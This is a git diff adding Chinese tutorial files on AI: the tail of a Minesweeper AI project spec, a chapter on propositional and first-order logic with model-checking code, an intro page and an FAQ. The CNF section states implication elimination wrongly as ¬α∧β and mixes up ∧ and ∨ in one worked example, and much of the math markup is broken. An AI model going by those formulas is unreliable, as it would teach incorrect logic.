请注意,每当你对人工智能的知识做出任何改变时,都有可能得出以前不可能的新推论。如果可能的话,请确保将这些新的推断添加到知识库中。 +- `make_safe_move` 应该返回一个已知安全的选择 `(i,j)`。 + + - 必须知道返回的动作是安全的,而不是已经做出的动作。 + - 如果无法保证安全移动,则函数应返回 `None`。 + - 该函数不应修改 `self.moves_made`、`self.mines`、`self.safes` 或 `self.knowledge`。 +- `make_random_move` 应该返回一个随机选择 `(i,j)`。 + + - 如果无法安全移动,将调用此功能:如果人工智能不知道移动到哪里,它将选择随机移动。 + - 此举不得是已经采取的行动。 + - 此举决不能是已知的地雷行动。 + - 如果无法进行此类移动,则函数应返回 `None`。 + +## 提示 + +- 确保你已经彻底阅读了背景部分,以了解知识在这个人工智能中是如何表现的,以及人工智能是如何进行推理的。 +- 如果对面向对象编程感觉不太舒服,你可能会发现python 关于类的文档很有帮助。 +- 你可以在python 关于集合的文档中找到一些常见的集合操作。 +- 在 `Sentence` 类中实现 `known_mines` 和 `known_safes` 时,请考虑:在什么情况下,你确信命题的单元格是安全的?在什么情况下,你确定一个命题的单元格是地雷? +- `add_knowledge` 做了很多工作,可能是迄今为止你为该项目编写的最长的函数。一步一步地实现此函数的行为可能会有所帮助。 +- 如果愿意,欢迎您向任何类添加新方法,但不应修改任何现有函数的定义或参数。 +- 当你运行你的人工智能(如点击“AI Move”)时,请注意它并不总是获胜!在某些情况下,人工智能必须进行猜测,因为它缺乏足够的信息来进行安全行动。这是意料之中的事。`runner.py` 将打印人工智能是否正在进行其认为安全的移动,或者是否正在进行随机移动。 +- 在对集合进行迭代时,请注意不要修改它。这样做可能会导致错误! diff --git a/4.人工智能/4.3.2知识推理.md b/4.人工智能/4.3.2知识推理.md new file mode 100644 index 0000000..1acc2dc --- /dev/null +++ b/4.人工智能/4.3.2知识推理.md @@ -0,0 +1,921 @@ +# 知识推理 + +人类根据现有的知识进行推理并得出结论。表示知识并从中得出结论的概念也被用于人工智能中,在本章中我们将探讨如何实现这种行为。 + +# 说好的 AI 呢?怎么感觉越来越偏了? + +如果有这样的疑问的同学,可能存在一定的误区,认为人工智能就是局限在深度学习的算法或者说机器学习的部分算法上,其实这是对这个领域一个巨大的误解。 + +在 AI 的发展历程上,曾经存在一次符号主义(Symbolic)与联结主义(Connectionism)之争。 + +联结主义的中心原则是使用,简单且经常一致的单元互联网络,来描述各种现象,即简单的复杂叠加。在目前的深度学习网络中有着最为广泛的应用。 + +符号主义则相信,智能的许多特征可以透过[符号](https://zh.wikipedia.org/wiki/%E7%89%A9%E7%90%86%E7%AC%A6%E8%99%9F%E7%B3%BB%E7%B5%B1)处理来实现。最为显著的应用即是早期的专家系统。 + +从本质上来说,二者都存在用机器可以理解的语言表征知识,随后让机器依照人为制定的理论或数据依照概率或推理得到人所期望获得的的知识或结果。 + +而在本章的内容中,知识推理目标是让机器存储相应的知识,并且能够按照某种规则推理演绎得到新的知识,与 AI 的主体逻辑是相融洽的。目前的主流 AI 领域,知识图谱的重要组成部分,便包括了知识推理这个步骤,即从已知到未知。 + +那么如何构建让计算机可以理解的知识体系呢?如何让机器从已告知他的逻辑延伸到未告知他逻辑呢?数学家和计算机科学家甚至为此构建了相较而言非常完善的理论体系,包括但不限于离散数学,计算理论甚至是抽象数学,我在最后补充三本阅读材料,各位如果想要深入了解,可以进行进一步的阅读和理解。 + +较为基础的知识各位可以看以下的内容。 + +# 基础知识 + +- 基于知识的智能主体(Knowledge-Based Agents) + + - 智能主体通过对内部的知识表征进行操作来推理得出结论。 + - “根据知识推理得出结论”是什么意思? + - 让我们开始用哈利波特的例子来回答这个问题。 考虑以下句子: + +1. 如果没有下雨,哈利今天会去拜访海格。 +2. 哈利今天拜访了海格或邓布利多,但没有同时拜访他们。 +3. 哈利今天拜访了邓布利多。 + +- 基于这三个句子,我们可以回答“今天下雨了吗?”这个问题,尽管没有一个单独的句子告诉我们今天是否下雨,根据推理我们可以得出结论“今天下雨了”。 +- 陈述句(Sentence) + + - 陈述句是知识表示语言中关于世界的断言。 陈述句是人工智能存储知识并使用它来推断新信息的方式。 + +# 命题逻辑(Propositional Logic) + +命题逻辑基于命题。命题是关于世界的陈述,可以是真也可以是假,正如上面例子中的句子。 + +- 命题符号(Propositional Symbols) + + - 命题符号通常是用于表示命题的字母 + $$ + P、Q、R + $$ + + 。 +- 逻辑连接词(Logical Connectives) + + - 逻辑连接词是连接命题符号的逻辑符号,以便以更复杂的方式对世界进行推理。 + - Not ( + $$ + \lnot + $$ + + ) 逻辑非: 命题真值的反转。 例如,如果 + $$ + P$$:“正在下雨”,那么 + $$ + + ¬P$$:“没有下雨”。 + + - 真值表用于将所有可能的真值赋值与命题进行比较。 该工具将帮助我们更好地理解与不同逻辑连接词相关联的命题的真值。 例如,下面是我们的第一个真值表: + +| $$P$$ | +$$ +\lnot +$$ + +P | +| -------- | -------- | +| false(0) | true(1) | +| true(1) | false(0) | + +- And( + $$ + \land + $$ + + ) 逻辑乘(合取): 连接两个不同的命题。 当这两个命题 + $$ + P$$和 + $$ + + Q + $$ + 用 + $$ + + ∧ + $$ + 连接时,得到的命题 + $$ + + P∧Q + $$ + 只有在 + $$ + + P + $$ + 和 + $$ + + Q$$ 都为真的情况下才为真。 + +| $$P$$ | $$Q$$ | +$$ +P\land Q +$$ + + | +| --- | --- | -------- | +| 0 | 0 | 0 | +| 0 | 1 | 0 | +| 1 | 0 | 0 | +| 1 | 1 | 1 | + +- Or( + $$ + \lor + $$ + + ) 逻辑和(析取): 只要它的任何一个参数为真,它就为真。 这意味着要使 + $$ + P ∨ Q + $$ + + 为真, + $$ + P$$ 或 + $$ + + Q$$ 中至少有一个必须为真。 + +| $$P$$ | $$Q$$ | +$$ +P\lor Q +$$ + + | +| --- | --- | ------- | +| 0 | 0 | 0 | +| 0 | 1 | 1 | +| 1 | 0 | 1 | +| 1 | 1 | 1 | + +``` +- 值得一提的是,Or有两种类型:同或Or和异或Or。在异或中,如果$$P\lor Q$$为真,则$$P∧Q$$为假。也就是说,一个异或要求它只有一个论点为真,而不要求两者都为真。如果$$P、Q$$或$$P∧Q$$中的任何一个为真,则包含或为真。在Or($$\lor$$)的情况下,意图是一个包含的Or。 +``` + +- Implication (→) 逻辑蕴含: 表示“如果 + $$ + P$$,则 + $$ + + Q + $$ + 的结构。例如,如果 + $$ + + P + $$ + :“正在下雨”, + $$ + + Q + $$ + :“我在室内”,则 + $$ + + P→ Q + $$ + 的意思是“如果下雨,那么我在室内。”在 + $$ + + P + $$ + 的情况下,意味着 + $$ + + Q + $$ + , + $$ + + P + $$ + 被称为前件, + $$ + + Q$$ 被称为后件。 + + - 当前件为真时,在后件为真的情况下,整个蕴含逻辑为真(这是有道理的:如果下雨,我在室内,那么“如果下雨,那么我在室内”这句话是真的)。当前件为真时,如果后件为假,则蕴含逻辑为假(如果下雨时我在外面,那么“如果下雨,那么我在室内”这句话是假的)。然而,当前件为假时,无论后件如何,蕴含逻辑总是真的。这有时可能是一个令人困惑的概念。从逻辑上讲,我们不能从蕴含中学到任何东西 + $$ + (P→ Q) + $$ + + 如果前件($$P$$)为假。看一下我们的例子,如果没有下雨,这个蕴含逻辑并没有说我是否在室内的问题。我可能是一个室内型的人,即使不下雨也不在外面走,或者我可能是一个室外型的人,不下雨的时候一直在外面。当前件是假的,我们说蕴含逻辑是真的。 + +| $$P$$ | $$Q$$ | +$$ +P\to Q +$$ + + | +| --- | --- | ------ | +| 0 | 0 | 1 | +| 0 | 1 | 1 | +| 1 | 0 | 0 | +| 1 | 1 | 1 | + +- Biconditional ( + $$ + \leftrightarrow + $$ + + ) :是一个双向的蕴含。你可以把它读成“如果且仅当” + $$ + P↔ Q + $$ + + 等同 + $$ + P→ Q + $$ + + 和 + $$ + Q→ P + $$ + + 合在一起。例如,如果 + $$ + P$$:“正在下雨”, + $$ + + Q + $$ + :“我在室内”,那么 + $$ + + P↔ Q + $$ + 的意思是“如果下雨,那么我在室内”,“如果我在室内,那么就在下雨。”这意味着我们可以推断出比简单蕴含更多的东西。如果 + $$ + + P + $$ + 为假,那么 + $$ + + Q$$ 也为假;如果不下雨,我们知道我也不在室内。 + +| $$P$$ | $$Q$$ | +$$ +P\leftrightarrow Q +$$ + + | +| --- | --- | ------------------ | +| 0 | 0 | 1 | +| 0 | 1 | 0 | +| 1 | 0 | 0 | +| 1 | 1 | 1 | + +- 模型(Model) + + - 模型是对每个命题的真值赋值。 重申一下,命题是关于世界的陈述,可以是真也可以是假。 然而,关于世界的知识体现在这些命题的真值中。 模型是提供有关世界的信息的真值赋值。 + - 例如,如果 + $$ + P$$:“正在下雨。” 和 + $$ + + Q + $$ + :“今天是星期二。”,模型可以是以下真值赋值: + $$ + + \set{P = True, Q = False} + $$ + 。 此模型表示正在下雨,但不是星期二。 然而,在这种情况下有更多可能的模型(例如, + $$ + + \set{P = True, Q = True} + $$ + ,星期二并且下雨)。 事实上,可能模型的数量是命题数量的 2 次方。 在这种情况下,我们有 2 个命题,所以 + $$ + + 2^2=4$$ 个可能的模型。 +- 知识库(Knowledge Base (KB)) + + - 知识库是基于知识的智能主题已知的一组陈述句。 这是关于人工智能以命题逻辑语句的形式提供的关于世界的知识,可用于对世界进行额外的推理。 +- 蕴含推理(Entailment ( + $$ + \vDash + $$ + + )) + + - 如果 + $$ + α ⊨ β + $$ + + ( + $$ + α + $$ + + 蕴含推理出 + $$ + β + $$ + + ),那么在任何 + $$ + α + $$ + + 为真的世界中, + $$ + β + $$ + + 也为真。 + - 例如,如果 + $$ + α + $$ + + :“今天是一月的星期二”和 + $$ + β + $$ + + :“今天是星期二”,那么我们知道 + $$ + α ⊨ β + $$ + + 。 如果确实是一月的星期二,我们也知道这是星期二。 蕴含推理不同于逻辑蕴含。 逻辑蕴涵是两个命题之间的逻辑连接。 另一方面,推理蕴含关系是指如果 + $$ + α + $$ + + 中的所有信息都为真,则 + $$ + β + $$ + + 中的所有信息都为真。 + +# 推理(Inference) + +推理是从原有命题推导出新命题的过程。 + +- 模型检查算法(Model Checking algorithm) + + - 确定是否 + $$ + KB ⊨ α + $$ + + (换句话说,回答问题:“我们能否根据我们的知识库得出结论 + $$ + α + $$ + + 为真?”) + + - 枚举所有可能的模型。 + - 如果在 + $$ + KB + $$ + + 为真的每个模型中, + $$ + α + $$ + + 也为真,则 + $$ + KB ⊨ α + $$ + + 。 + - 一个例子 + + - $$ + P$$: 今天是星期四,$$Q$$: 今天下雨,$$R$$: 我将出门跑步 + $$ + - $$ + KB$$: 如果今天是星期四并且不下雨,那我将出门跑步;今天是星期四;今天不下雨。$$(P\land\lnot Q)\to R,P,\lnot Q + $$ + - 查询结论(query): $$R$$ + +![](static/E8YrbXnGtoNHEJxmAttcX4p0nlg.png) + +- 接下来,让我们看看如何将知识和逻辑表示为代码。 + +```python +from logic import * # 创建新类,每个类都有一个名称或一个符号,代表每个命题。 +rain = Symbol("rain") # 今天下雨 +hagrid = Symbol("hagrid") # 哈利拜访了海格 +dumbledore = Symbol("dumbledore") # 哈利拜访了邓布利多 +# 知识库中的陈述句 +knowledge = And( # 从“和”逻辑连接词开始,因为每个命题都代表我们知道是真实的知识。 +Implication(Not(rain), hagrid), # ¬(今天下雨) → (哈利拜访了海格) +Or(hagrid, dumbledore), # (哈利拜访了海格) ∨ (哈利拜访了邓布利多). +Not(And(hagrid, dumbledore)), # ¬(哈利拜访了邓布利多 ∧ 哈利拜访了海格) i.e. 哈利没有同时去拜访海格和邓布利多。 +dumbledore # 哈利拜访了邓布利多。请注意,虽然之前的命题包含多个带有连接符的符号,但这是一个由一个符号组成的命题。 这意味着我们将在这个 KB 中,Harry 拜访了 Dumbledore 作为事实。 +) +``` + +- 要运行模型检查算法,需要以下信息: + + - 知识库(KB),将用于得出推论 + - 一个查询结论(query),或者我们感兴趣的命题是否被 + $$ + KB + $$ + + 包含 + - 命题符号,所有使用的符号(或原子命题)的列表(在我们的例子中,这些是 rain、hagrid 和 dumbledore) + - 模型,将真值和假值分配给命题 +- 模型检查算法如下所示: + +```python +def check_all(knowledge, query, symbols, model):# 如果模型对每个符号都有一个赋值 + # (下面的逻辑可能有点混乱:我们从命题符号列表开始。该函数是递归的,每次调用自身时,它都会从命题符号列表中弹出一个命题符号并从中生成模型。 因此,当命题符号列表为空时,我们知道我们已经完成生成模型,其中包含每个可能的命题真值分配。) + if not symbols: + # 如果知识库在模型中为真,则查询结论也必须为真 + if knowledge.evaluate(model): + return query.evaluate(model) + return True + else: + # 选择剩余未使用的符号之一 + remaining = symbols.copy() + p = remaining.pop() + # 创建一个模型,其中命题符号为真 + model_true = model.copy() + model_true[p] = True + # 创建一个模型,其中命题符号为假 + model_false = model.copy() + model_false[p] = False + # 确保两种模型都进行蕴含推理 + return(check_all(knowledge, query, remaining, model_true) and check_all(knowledge, query, remaining, model_false)) +``` + +- 请注意,我们只对 + $$ + KB + $$ + + 为真的模型感兴趣。 如果 + $$ + KB + $$ + + 为假,那么我们知道真实的条件并没有出现在这些模型中,使它们与我们的案例无关。 + +> 另一个例子:假设 +> $$ +> P$$:Harry 扮演找球手, +> $$ +> +> Q +> $$ +> :Oliver 扮演守门员, +> $$ +> +> R +> $$ +> :Gryffindor获胜。 我们的 +> $$ +> +> KB +> $$ +> 指定 +> $$ +> +> P +> $$ +> , +> $$ +> +> Q +> $$ +> , +> $$ +> +> (P ∧ Q) \to R +> $$ +> 。换句话说,我们知道 +> $$ +> +> P +> $$ +> 为真,即Harry扮演找球手, +> $$ +> +> Q +> $$ +> 为真,即Oliver扮演守门员,并且如果 +> $$ +> +> P +> $$ +> 和 +> $$ +> +> Q +> $$ +> 都为真, 那么 +> $$ +> +> R +> $$ +> 也为真,这意味着Gryffindor赢得了比赛。 现在想象一个模型,其中Harry扮演击球手而不是找球手(因此,Harry没有扮演找球手, +> $$ +> +> ¬P +> $$ +> )。 嗯,在这种情况下,我们不关心Gryffindor是否赢了(无论 +> $$ +> +> R +> $$ +> 是否为真),因为我们的 +> $$ +> +> KB +> $$ +> 中有信息表明Harry扮演的是找球手而不是击球手。 我们只对 +> $$ +> +> P +> $$ +> 和 +> $$ +> +> Q$$ 为真的模型感兴趣。) + +- 此外,`check_all` 函数的工作方式是递归的。 也就是说,它选择一个命题符号,创建两个模型,其中一个符号为真,另一个为假,然后再次调用自己,现在有两个模型因该命题符号的真值分配不同而不同。 该函数将继续这样做,直到所有符号都已在模型中分配了真值,使 `symbol` 符号为空。 一旦它为空(由 `if not symbols` 行标识),在函数的每个实例中(其中每个实例都包含不同的模型),函数检查 + $$ + KB + $$ + + 是否为给定的有效模型。 如果 + $$ + KB + $$ + + 在此模型中为真,函数将检查查询结论是否为真,如前所述。 + +# 知识工程(Knowledge Engineering) + +知识工程是弄清楚如何在 AI 中表示命题和逻辑的工程。 + +## 推理规则(Inference Rules) + +- 模型检查不是一种有效的算法,因为它必须在给出答案之前考虑每个可能的模型(提醒:如果在 + $$ + KB + $$ + + 为真的所有模型(真值分配)下,查询结论 + $$ + R$$为真,则 + $$ + + R$$ 也为真)。 推理规则允许我们根据现有知识生成新信息,而无需考虑所有可能的模型。 +- 推理规则通常使用将顶部部分(前提)与底部部分(结论)分开的水平条表示。 前提是我们有什么知识,结论是根据这个前提可以产生什么知识。 + +![](static/FjYOb3Qr5ofHdOx7REacdcyqn0c.png) + +- 肯定前件(Modus Ponens) + + - 如果我们知道一个蕴涵及其前件为真,那么后件也为真。 + +![](static/HaqObF0xAoX6O8xDX7KctF0jnpf.png) + +- 合取消除(And Elimination) + + - 如果 And 命题为真,则其中的任何一个原子命题也为真。 例如,如果我们知道哈利与罗恩和赫敏是朋友,我们就可以得出结论,哈利与赫敏是朋友。 + +![](static/TI5Mb781YocwpqxRsyRcPS8WnAg.png) + +- 双重否定消除(Double Negation Elimination) + + - 被两次否定的命题为真。 例如,考虑命题“哈利没有通过考试是不正确的”。 这两个否定相互抵消,将命题“哈利通过考试”标记为真。 + +![](static/NuabbQqZjoBkNixz45AcDZ8Bnrg.png) + +- 蕴含消除(Implication Elimination) + + - 蕴涵等价于被否定的前件和后件之间的 Or 关系。 例如,命题“如果正在下雨,哈利在室内”等同于命题“(没有下雨)或(哈利在室内)”。 + +![](static/S31Ub9xcUo9yArxntWscU47pnwh.png) + +| $$P$$ | $$Q$$ | +$$ +P\to Q +$$ + + | +$$ +\lnot P\lor Q +$$ + + | +| --- | --- | ------ | ------------- | +| 0 | 0 | 1 | 1 | +| 0 | 1 | 1 | 1 | +| 1 | 0 | 0 | 0 | +| 1 | 1 | 1 | 1 | + +- 等值消除(Biconditional Elimination) + + - 等值命题等价于蕴涵及其逆命题的 And 关系。 例如,“当且仅当 Harry 在室内时才下雨”等同于(“如果正在下雨,Harry 在室内”和“如果 Harry 在室内,则正在下雨”)。 + +![](static/EtPMbOXWwopIZsxjUJ0cYvHXn5g.png) + +- 德摩根律(De Morgan’s Law) + + - 可以将 And 连接词变成 Or 连接词。考虑以下命题:“哈利和罗恩都通过了考试是不正确的。” 由此,可以得出“哈利通过考试不是真的”或者“罗恩不是真的通过考试”的结论。 也就是说,要使前面的 And 命题为真,Or 命题中至少有一个命题必须为真。 + +![](static/GTagbx1jso6l8gx1rQOcPW3inIb.png) + +- 同样,可以得出相反的结论。考虑这个命题“哈利或罗恩通过考试是不正确的”。 这可以改写为“哈利没有通过考试”和“罗恩没有通过考试”。 + +![](static/XOeTbb4BooRbKBx4gHwc3A7EnYf.png) + +- 分配律(Distributive Property) + + - 具有两个用 And 或 Or 连接词分组的命题可以分解为由 And 和 Or 组成的更小单元。 + +![](static/KBxzbZhUCoX7FBx5ZVFczfPvnoc.png) + +![](static/CvPybic63o7jSlxvuzpcFxjQnse.png) + +## 知识和搜索问题 + +- 推理可以被视为具有以下属性的搜索问题: + + - 初始状态:知识库 + - 动作:推理规则 + - 过渡模型:推理后的新知识库 + - 目标测试:检查我们要证明的语句是否在知识库中 + - 路径成本:证明中的步骤数 +- 这显示了搜索算法的通用性,使我们能够使用推理规则根据现有知识推导出新信息。 + +# 归结(Resolution) + +- 归结是一个强大的推理规则,它规定如果 Or 命题中的两个原子命题之一为假,则另一个必须为真。 例如,给定命题“Ron 在礼堂”或“Hermione 在图书馆”,除了命题“Ron 不在礼堂”之外,我们还可以得出“Hermione 在图书馆”的结论。 更正式地说,我们可以通过以下方式定义归结: + +![](static/PBF7bNpPcoTh1bxP4rqcshA5nIg.png) + +![](static/LTKXbs7VPoZxlqxfXfkczFh0nBh.png) + +- 归结依赖于互补文字,两个相同的原子命题,其中一个被否定而另一个不被否定,例如 + $$ + P$$和 + $$ + + ¬P$$。 +- 归结可以进一步推广。 假设除了“Rom 在礼堂”或“Hermione 在图书馆”的命题外,我们还知道“Rom 不在礼堂”或“Harry 在睡觉”。 我们可以从中推断出“Hermione 在图书馆”或“Harry 在睡觉”。 正式地说: + +![](static/MebubVSxRonfZ2xnYj9c5TYCnIg.png) + +![](static/UZn3b4V8mo1OXxxKDQ0cAjwYnyf.png) + +- 互补文字使我们能够通过解析推理生成新句子。 因此,推理算法定位互补文字以生成新知识。 +- 从句(Clause)是多个原子命题的析取式(命题符号或命题符号的否定,例如 + $$ + P$$, + $$ + + ¬P + $$ + )。 析取式由Or逻辑连接词 ( + $$ + + P ∨ Q ∨ R + $$ + ) 相连的命题组成。 另一方面,连接词由And逻辑连接词 ( + $$ + + P ∧ Q ∧ R + $$ + ) 相连的命题组成。 从句允许我们将任何逻辑语句转换为合取范式 (CNF),它是从句的合取,例如: + $$ + + (A ∨ B ∨ C) ∧ (D ∨ ¬E) ∧ (F ∨ G)$$。 +- 命题转换为合取范式的步骤、 + + - 等值消除 + + - 将 + $$ + (α↔ β) + $$ + + 转化为 + $$ + (α→ β)∧ (β → α) + $$ + - 蕴含消除 + + - 将 + $$ + (α→ β) + $$ + + 转化为 + $$ + \lnotα∧β + $$ + - 使用德摩根定律,将否定向内移动,直到只有原子命题被否定(而不是从句) + + - 将 + $$ + \lnot(\alpha∧β) + $$ + + 转换为 + $$ + \lnotα\lor\lnotβ + $$ + - 下面是一个转换 + $$ + (P∧Q)\to R + $$ + + 到合取范式的例子: + + - $$ + (P ∨ Q) → R + $$ + - $$ + \lnot(P\lor Q)\lor R$$/蕴含消除 + $$ + - $$ + (\lnot P\land\lnot Q)\lor R$$/德摩根律 + $$ + - $$ + (\lnot P\lor R)\land(\lnot Q\lor R)$$/分配律 + $$ +- 归结命题及其否定,即 + $$ + \lnot P + $$ + + 和 + $$ + P$$,得到空从句 + $$ + + () + $$ + 。空从句总是假的,这是有道理的,因为 + $$ + + P + $$ + 和 + $$ + + \lnot P$$ 不可能都是真的。归结算法使用了这个事实。 + + - 确定是否 + $$ + KB⊨α + $$ + + : + + - 检查: + $$ + (KB∧\lnotα) + $$ + + 是矛盾的吗? + + - 如果是这样,那么 + $$ + KB⊨α + $$ + + 。 + - 否则, + $$ + KB + $$ + + 无法蕴含推理出 + $$ + \alpha + $$ + + 。 +- 矛盾证明是计算机科学中经常使用的一种工具。如果我们的知识库是真的,并且它与 + $$ + \lnot α + $$ + + 相矛盾,那就意味着 + $$ + \lnot\alpha + $$ + + 是假的,因此 + $$ + α + $$ + + 必须是真的。从技术上讲,该算法将执行以下操作: + + - 确定是否 + $$ + KB⊨α + $$ + + : + - 将 + $$ + (KB∧\lnotα) + $$ + + 转换为合取范式。 + - 继续检查,看看我们是否可以使用归结来生成一个新的从句。 + - 如果我们生成了空从句(相当于 False),那么恭喜你!我们得出了一个矛盾,从而证明了 + $$ + KB⊨α + $$ + + 。 + - 然而,如果没有实现矛盾,并且不能推断出更多的从句,那么就没有蕴含性。 + - 以下是一个示例,说明了该算法的工作原理: + + - $$ + (A ∨ B) ∧ (¬B ∨ C) ∧ (¬C)\vDash A? + $$ + - $$ + (A ∨ B) ∧ (¬B ∨ C) ∧ (¬C) ∧ (¬A) + $$ + - $$ + (\lnot B\lor C)\land\lnot C\vDash\lnot B\implies(A ∨ B) ∧ (¬B ∨ C) ∧ (¬C) ∧ (¬A)\land (\lnot B) + $$ + - $$ + (A\lor B)\land\lnot B\vDash A\implies(A ∨ B) ∧ (¬B ∨ C) ∧ (¬C) ∧ (¬A)\land (\lnot B)\land(A) + $$ + - $$ + (\lnot A\land A)\vDash ()\implies(A ∨ B) ∧ (¬B ∨ C) ∧ (¬C) ∧ (¬A)\land (\lnot B)\land(A)\land ()\implies False + $$ + +# 一阶逻辑(First Order Logic) + +- 一阶逻辑是另一种类型的逻辑,它使我们能够比命题逻辑更简洁地表达更复杂的想法。一阶逻辑使用两种类型的符号:常量符号和谓词符号。常量符号表示对象,而谓词符号类似于接受参数并返回 true 或 false 值的关系或函数。 +- 例如,我们回到霍格沃茨不同的人和家庭作业的逻辑谜题。常量符号是指人或房子,如 Minerva、Pomona、Gryffindor、Hufflepuff 等。谓语符号是一些常量符号的真或虚的属性。例如,我们可以使用句子 `person(Minerva)` 来表达 Minerva 是一个人的想法。同样,我们可以用 `house(Gryffindor)` 这个句子来表达 Gryffindor 是一所房子的想法。所有的逻辑连接词都以与以前相同的方式在一阶逻辑中工作。例如, + $$ + \lnot + $$ + + `House(Minerva)` 表达了 Minerva 不是房子的想法。谓词符号也可以接受两个或多个自变量,并表达它们之间的关系。例如,BelongsTo 表达了两个论点之间的关系,即人和人所属的房子。因此,Minerva 拥有 Gryffindor 的想法可以表达为 `BelongsTo(Minerva,Gryffindor)`。一阶逻辑允许每个人一个符号,每个房子一个符号。这比命题逻辑更简洁,因为命题逻辑中每个人的房屋分配都需要不同的符号。 +- 全称量化(Universal Quantification) + + - 量化是一种可以在一阶逻辑中使用的工具,可以在不使用特定常量符号的情况下表示句子。全称量化使用符号 + $$ + ∀ + $$ + + 来表示“所有”。例如, + $$ + \forall x(BelongsTo(x, Gryffindor) → ¬BelongsTo(x, Hufflepuff)) + $$ + + 表达了这样一种观点,即对于每个符号来说,如果这个符号属于 Gryffindor,那么它就不属于 Hufflepuff。 +- 存在量化(Existential Quantification) + + - 存在量化是一个与全称量化平行的概念。然而,虽然全称量化用于创建对所有 + $$ + x$$都成立的句子,但存在量化用于创建至少对一个 + $$ + + x + $$ + 成立的句子。它使用符号 + $$ + + ∃ + $$ + 表示。例如, + $$ + + ∃x(House(x) ∧ BelongsTo(Minerva, x))$$ 意味着至少有一个符号既是房子,又是属于 Minerva。换句话说,这表达了 Minerva 拥有房子的想法。 +- 存在量化和全称量化可以用在同一个句子中。例如, + $$ + ∀x(Person(x) → (∃y(House(y) ∧ BelongsTo(x, y)))) + $$ + + 表达了这样一种观点,即如果 + $$ + x$$是一个人,那么这个人至少拥有一个房子 + $$ + + y$$。换句话说,这句话的意思是每个人都拥有一所房子。 + +还有其他类型的逻辑,它们之间的共同点是,它们都是为了表示信息而存在的。这些是我们用来在人工智能中表示知识的系统。 + +# 补充材料 + +Introduction to the Theory of Computation, Third International Edition (Michael Sipser) + +具体数学:计算机科学基础.第 2 版 diff --git a/4.人工智能/4.3人工智能导论及机器学习入门.md b/4.人工智能/4.3人工智能导论及机器学习入门.md new file mode 100644 index 0000000..16596c8 --- /dev/null +++ b/4.人工智能/4.3人工智能导论及机器学习入门.md @@ -0,0 +1,19 @@ +# 人工智能导论及机器学习入门 + +人工智能(Artificial Intelligence, AI)是机器,特别是计算机系统对人类智能过程的模拟。人工智能是一个愿景,目标就是让机器像我们人类一样思考与行动,能够代替我们人类去做各种各样的工作。人工智能研究的范围非常广,包括演绎、推理和解决问题、知识表示、学习、运动和控制、数据挖掘等众多领域。 + +# 人工智能、机器学习与深度学习关系 + +人工智能是一个宏大的愿景,目标是让机器像我们人类一样思考和行动,既包括增强我们人类脑力也包括增强我们体力的研究领域。而学习只是实现人工智能的手段之一,并且,只是增强我们人类脑力的方法之一。所以,人工智能包含机器学习。机器学习又包含了深度学习,他们三者之间的关系见下图。 + +![](static/AMU7bSgh4o8tEIxk82icvtbDn0c.png) + +# 如何学习本节内容 + +作者深知学习人工智能时面临许多繁碎数学知识,复杂数学公式的痛苦,因此,本节内容重在讲解核心概念和算法,略去了复杂的数学推导,尽可能以直觉的方式去理解,本文的数学知识,高中生足以掌握。阅读本节内容不需要人工智能基础,你可以直接从本节入门 AI。本节内容的算法、项目实现将使用 python 实现,需要掌握一定的 python 基础语法。当然如果你急于了解 AI,却又不会 python,没有关系,你可以选择跳过其中的编程部分,着眼于其中的概念、算法,程序语言是算法实现的工具,并非学习算法的必须品。 + +# 学习建议 + +本节内容是作者根据[哈佛的 CS50AI 导论](https://cs50.harvard.edu/ai/2020/)以及 [Andrew Ng 的机器学习专项课程](https://www.coursera.org/specializations/machine-learning-introduction)简化编写,当然你可以直接学习这两门课程。本节内容的总学习时间应该是二到三个月,如果你在某个知识点上卡住了,你也许需要反复阅读讲义,必要时向身边人求助。 + +# 目录 diff --git a/4.人工智能/4.4FAQ:常见问题.md b/4.人工智能/4.4FAQ:常见问题.md new file mode 100644 index 0000000..4074cf0 --- /dev/null +++ b/4.人工智能/4.4FAQ:常见问题.md @@ -0,0 +1,70 @@ +# FAQ:常见问题 + +# 我并没有完全完成前面的任务可以开始吗 + +可以。在这里使用的编程技巧不会过于复杂,但是倘若你想要深入研究相关代码的编写。 + +代码的训练是不可避免的。 + +# 我数学不好可以学吗 + +可以。我将在教程的脉络中引入数学的相关内容,帮助你正确认识数学和 AI 技术的相关性。 + +并且我希望你阅读这些文章 + +- [数学不好可以学机器学习吗](https://machinelearningmastery.com/what-if-im-not-good-at-mathematics/) +- [没有数学专业背景和理解机器学习算法的 5 种技巧](http://machinelearningmastery.com/techniques-to-understand-machine-learning-algorithms-without-the-background-in-mathematics/) +- [我是如何学习机器学习的?](https://www.quora.com/Machine-Learning/How-do-I-learn-machine-learning-1) + +# 很多东西学校都没学 + +如果你完全依赖学校的进度,你可能一直都会有认为学校应该教但你没学到的东西 + +同时,这是一门前沿学科,学校学习的多数内容并不能达到掌握相关知识的要求。 + +你应该更多地依赖自己而不是学校 + +# [如果不是相关领域可以找到这个领域工作吗](https://www.quora.com/How-do-I-get-a-job-in-Machine-Learning-as-a-software-programmer-who-self-studies-Machine-Learning-but-never-has-a-chance-to-use-it-at-work) + +> “我正在为团队招聘专家,但你的 MOOC 并没有给你带来工作学习机会。我大部分机器学习方向的硕士也并不会得到机会,因为他们(与大多数工作)上过 MOOC 的人一样)并没有深入地去理解。他们都无法帮助我的团队解决问题。” Ross C. Taylor + +# 人工智能,深度学习,机器学习,数据分析,我该如何区分 + +人工智能包括机器学习 + +机器学习包括深度学习 + +![](static/boxcnBP4QHAJnXrNfOiK8hp6LIc.png) + +[同时向你推荐这个 Data Analytics,Data Analysis,数据挖掘,数据科学,机器学习,大数据的区别是什么?](https://www.quora.com/What-is-the-difference-between-Data-Analytics-Data-Analysis-Data-Mining-Data-Science-Machine-Learning-and-Big-Data-1) + +![](static/boxcnxPsUwwhcCC0zBerZ2s88ld.png) + +# 我没有任何相关概念 + +尝试阅读以下内容 + +- [形象的机器学习简介](http://www.r2d3.us/visual-intro-to-machine-learning-part-1/) +- [一份温柔的机器学习指南](https://blog.monkeylearn.com/a-gentle-guide-to-machine-learning/) +- [为开发者准备的机器学习简介](http://blog.algorithmia.com/introduction-machine-learning-developers/) +- [菜鸟的机器学习基础](https://www.analyticsvidhya.com/blog/2015/06/machine-learning-basics/) +- [你如何向非计算机专业的人来解释机器学习与数据挖掘?](https://www.quora.com/How-do-you-explain-Machine-Learning-and-Data-Mining-to-non-Computer-Science-people) +- [在罩子下的机器学习,博文简单明了地介绍了机器学习的原理](https://georgemdallas.wordpress.com/2013/06/11/big-data-data-mining-and-machine-learning-under-the-hood/) +- 